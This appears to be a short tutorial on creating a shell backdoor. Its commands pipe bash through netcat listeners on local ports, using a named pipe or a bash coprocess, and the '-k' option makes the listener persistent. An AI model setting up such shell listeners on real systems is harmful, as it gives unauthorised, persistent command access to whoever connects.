When setting up a backdoor at the shell level, you have to solve an old problem, that of having two processes communicate both input and output to each other. Pipes only provide a one-way mechanism, hooking one process's output to another's input.

There are multiple ways these days to solve this problem.

The more general method is to use a named pipe. Modern versions of linux provide named pipes. You can use a named pipe as simply as something like this to create a backdoor with netcat:

[langley@sophie ~]$ mkfifo fifo
[langley@sophie ~]$ nc -l localhost 35002 < fifo | bash > fifo 2>&1

You can make this persistent as simply as by adding the "-k" option to netcat:

[langley@sophie ~]$ nc -k -l localhost 35002 < fifo | bash > fifo 2>&1

You can also take advantage of features like bash's coprocesses. (Only modern versions of bash provide coprocesses — this won't work with older versions of bash.) For instance, here's how to use this feature with netcat:

[langley@sophie ~]$ coproc bash 2>&1
[1] 17384
[langley@sophie ~]$ nc -l localhost 35001 <&${COPROC[0]} >&${COPROC[1]}

Again, you can make this persistent as simply as by adding "-k":

[langley@sophie ~]$ nc -k -l localhost 35001 <&${COPROC[0]} >&${COPROC[1]}